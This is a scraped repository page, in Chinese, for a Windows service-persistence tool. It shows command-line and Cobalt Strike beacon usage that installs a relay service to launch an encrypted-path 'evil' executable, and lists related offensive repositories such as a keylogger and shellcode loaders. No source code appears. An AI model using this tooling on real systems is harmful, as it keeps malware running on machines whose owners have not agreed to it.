• Stars
    star
    101
  • Rank 338,166 (Top 7 %)
  • Language
    C++
  • Created about 4 years ago
  • Updated over 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

创建服务持久化

CreateService

文件说明

  • CreateService : 创建服务与删除服务主程序
  • CreateServiceDll : 创建服务与删除服务rdi
  • TransitEXE :媒介程序
C:\Users\Administrator\Desktop>CreateService.exe "C:\Users\Administrator\Desktop\TransitEXE.exe" "C:\Users\Administrator\Desktop\test.exe" test start
[*] CreateService by Uknow
    [+] ServiceName: test
    [+] TransitPathName: C:\Users\Administrator\Desktop\TransitEXE.exe
    [+] EvilPathName: C:\Users\Administrator\Desktop\test.exe
    [+] Success! Service successfully Create and Start.

程序将TransitEXE.exe创建为服务,并将路径C:\Users\Administrator\Desktop\test.exe进行rc4加密(密钥为当前计算机的环境变量PROCESSOR_REVISION)写入C:\Users\Administrator\Desktop\TransitEXE.exe的资源文件中。

服务创建成功后,TransitEXE.exe从自身的资源中解密获取到恶意exe的路径并运行。

这样就只需要提供恶意exe即可,免除临时编译服务模块代码。

Cobalt Strike RDI

beacon> CreateService C:\Users\Administrator\Desktop\TransitEXE.exe C:\Users\Administrator\Desktop\beacon.exe test start
[*] Tasked beacon to spawn CreateService ....
[+] arguments are:C:\Users\Administrator\Desktop\TransitEXE.exe C:\Users\Administrator\Desktop\beacon.exe test start
[+] host called home, sent: 103053 bytes
[+] received output:
[*] CreateService by Uknow
    [+] ServiceName: test
    [+] TransitPathName: C:\Users\Administrator\Desktop\TransitEXE.exe
    [+] EvilPathName: C:\Users\Administrator\Desktop\beacon.exe
    [+] Success! Service successfully Create and Start.

beacon> CreateService C:\Users\Administrator\Desktop\TransitEXE.exe C:\Users\Administrator\Desktop\beacon.exe test stop
[*] Tasked beacon to spawn CreateService ....
[+] arguments are:C:\Users\Administrator\Desktop\TransitEXE.exe C:\Users\Administrator\Desktop\beacon.exe test stop
[+] host called home, sent: 103052 bytes
[+] received output:
[*] CreateService by Uknow
    [+] ServiceName: test
    [+] TransitPathName: C:\Users\Administrator\Desktop\TransitEXE.exe
    [+] EvilPathName: C:\Users\Administrator\Desktop\beacon.exe
    [+] Success! Service successfully Stop and Delete.

More Repositories

1

Active-Directory-Pentest-Notes

个人域渗透学习笔记
1,712
star
2

SharpDecryptPwd

对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。源码:https://github.com/RowTeam/SharpDecryptPwd
1,144
star
3

SharpSQLTools

SharpSQLTools 和@Rcoil一起写的小工具,可上传下载文件,xp_cmdshell与sp_oacreate执行命令回显和clr加载程序集执行相应操作。
C#
884
star
4

SweetPotato

Modifying SweetPotato to support load shellcode and webshell
C#
680
star
5

SharpToolsAggressor

内网渗透中常用的c#程序整合成cs脚本,直接内存加载。持续更新~
496
star
6

frpModify

修改frp支持域前置与配置文件自删除
387
star
7

SharpNetCheck

C#
287
star
8

TailorScan

自用缝合怪内网扫描器,支持端口扫描,识别服务,获取title,扫描多网卡,ms17010扫描,icmp存活探测。
278
star
9

Fofa-gui

Fofa采集工具-自修改版本
278
star
10

loginlog_windows

读取登录过本机的登录失败或登录成功的所有计算机信息,在内网渗透中快速定位运维管理人员。
219
star
11

getSystem

webshell下提权执行命令 Reference:https://github.com/yusufqk/SystemToken
C
206
star
12

SharpEventLog

c# 读取登录过本机的登录失败或登录成功(4624,4625)的所有计算机信息,在内网渗透中快速定位运维管理人员。
C#
202
star
13

SharpSQLDump

内网渗透中快速获取数据库所有库名,表名,列名。具体判断后再去翻数据,节省时间。适用于mysql,mssql。
C#
195
star
14

JuicyPotato

Modifying JuicyPotato to support load shellcode and webshell
C++
185
star
15

BurpSuite-Extender-fastjson

Reference:https://www.w2n1ck.com/article/44/
Python
151
star
16

keylogger

键盘记录,支持定时回传
Go
132
star
17

SharpCheckInfo

收集目标主机信息,包括最近打开文件,系统环境变量和回收站文件等等
C#
111
star
18

OXID_Find

OXID_Find by C++(多线程) 通过OXID解析器获取Windows远程主机上网卡地址
C++
80
star
19

SharpOSS

Quickly upload files to aliyun OSS by aliyun-oss-csharp-sdk
C#
73
star
20

SharpAVKB

Windows杀软对比和补丁号对比
C#
59
star
21

SharpOXID-Find

OXID_Find by Csharp(多线程) 通过OXID解析器获取Windows远程主机上网卡地址 From @RcoIl
C#
52
star
22

RemoteCryptoShellcodeLoader

DomainFronting(aliyun)远程加载shellcode,远程获取shellcode使用aes动态加密传输数据
C++
46
star
23

Frida-Hook-In-Java-Notes

Java层frida hook学习笔记 https://uknowsec.cn
45
star
24

SSL

StenographyShellcodeLoader
C++
42
star
25

RemoteReflectiveDLL

C++
36
star
26

ReflectiveDLLInjection-Notes

ReflectiveDLL学习代码
C
31
star
27

SauronEye-Modify

在原项目上加上将找到的文件压缩打包上传oss,另外做了部分小修改。
C#
29
star
28

SharpZip

C#
26
star
29

SharpCryptPermute

Crypt/Decrypt Proxyshell Payload
C#
9
star
30

ModbusPeachPit

ModbusPeachPit
8
star
31

uknowsec

6
star
32

List-RDP-Connections-History

agscript-script List-RDP-Connections-History
PowerShell
5
star
33

uknowsec.github.io

HTML
4
star
34

gps_map

服务端server.php接收GPS模块数据进行处理存入数据库,setPoint.php和json.php查询得到数据库GPS数据,index.html通过ajax请求setPoint.php和json.php中的GPS数据通过百度地图API进行显示以及表格形式输出。
CSS
3
star
35

unicode-jsp

HTML
2
star
36

jsq

HTML
1
star
37

Captchademo

验证码爆破场景demo
PHP
1
star